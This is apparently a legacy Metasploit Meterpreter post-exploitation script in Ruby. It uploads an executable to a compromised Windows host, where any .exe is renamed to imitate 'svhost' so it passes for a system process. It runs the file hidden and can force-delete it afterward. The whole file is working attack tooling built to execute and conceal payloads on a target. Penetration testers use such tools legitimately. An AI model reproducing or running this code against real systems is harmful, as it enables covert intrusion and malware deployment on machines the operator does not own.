##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##


session = client
@@exec_opts = Rex::Parser::Arguments.new(
  "-h" => [ false,"Help menu." ],
  "-e" => [ true, "Executable or script to upload to target host." ],
  "-o" => [ true, "Options for executable." ],
  "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],
  "-x" => [ false,"Exit the session once the payload has been run." ],
  "-s" => [ true,"Sleep for a number of seconds after uploading before executing." ],
  "-v" => [ false,"Verbose, return output of execution of uploaded executable." ],
  "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]
)

################## function declaration Declarations ##################
def usage()
  print_line "UploadExec -- upload a script or executable and run it"
  print_line(@@exec_opts.usage)
  raise Rex::Script::Completed
end

def upload(session,file,trgloc = "")
  if not ::File.exist?(file)
    raise "File to Upload does not exists!"
  else
    if trgloc == ""
    location = session.sys.config.getenv('TEMP')
    else
      location = trgloc
    end
    begin
      ext = file[file.rindex(".") .. -1]
      if ext and ext.downcase == ".exe"
        fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
      else
        fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}"
      end
      print_status("\tUploading #{file}....")
      session.fs.file.upload_file("#{fileontrgt}","#{file}")
      print_status("\t#{file} uploaded!")
      print_status("\tUploaded as #{fileontrgt}")
    rescue ::Exception => e
      print_status("Error uploading file #{file}: #{e.class} #{e}")
      raise e
    end
  end
  return fileontrgt
end

#Function for executing a list of commands
def cmd_on_trgt_exec(session,cmdexe,opt,verbose)
  r=''
  session.response_timeout=120
  if verbose == 1
    begin
      print_status "\tRunning command #{cmdexe}"
      r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})
      while(d = r.channel.read)
        print_status("\t#{d}")
      end
      r.channel.close
      r.close
    rescue ::Exception => e
      print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")
      raise e
    end
  else
    begin
      print_status "\trunning command #{cmdexe}"
      r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})
      r.close
    rescue ::Exception => e
      print_status("Error Running Command #{cmdexe}: #{e.class} #{e}")
      raise e
    end
  end
end

def m_unlink(session, path)
  r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
  while(r.name)
    select(nil, nil, nil, 0.10)
  end
  r.close
end
#check for proper Meterpreter Platform
def unsupported
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end
unsupported if client.platform != 'windows'
#parsing of Options
file = ""
cmdopt = nil
helpcall = 0
path = ""
verbose = 0
remove = 0
quit = 0
sleep_sec = nil
@@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-e"
    file = val || ""
  when "-o"
    cmdopt = val
  when "-p"
    path = val
  when "-v"
    verbose = 1
  when "-h"
    helpcall = 1
  when "-s"
    sleep_sec = val.to_f
  when "-r"
    remove = 1
  when "-x"
    quit = 1
  end

}

if args.length == 0 || helpcall == 1
  usage
end
print_status("Running Upload and Execute Meterpreter script....")
exec = upload(session,file,path)
if sleep_sec
  print_status("\tSleeping for #{sleep_sec}s...")
  Rex.sleep(sleep_sec)
end
cmd_on_trgt_exec(session,exec,cmdopt,verbose)
if remove == 1
  print_status("\tDeleting #{exec}")
  m_unlink(session, exec)
end

if quit == 1
  print_status("Closing the session...")
  session.core.shutdown rescue nil
  session.shutdown_passive_dispatcher
end

print_status("Finished!")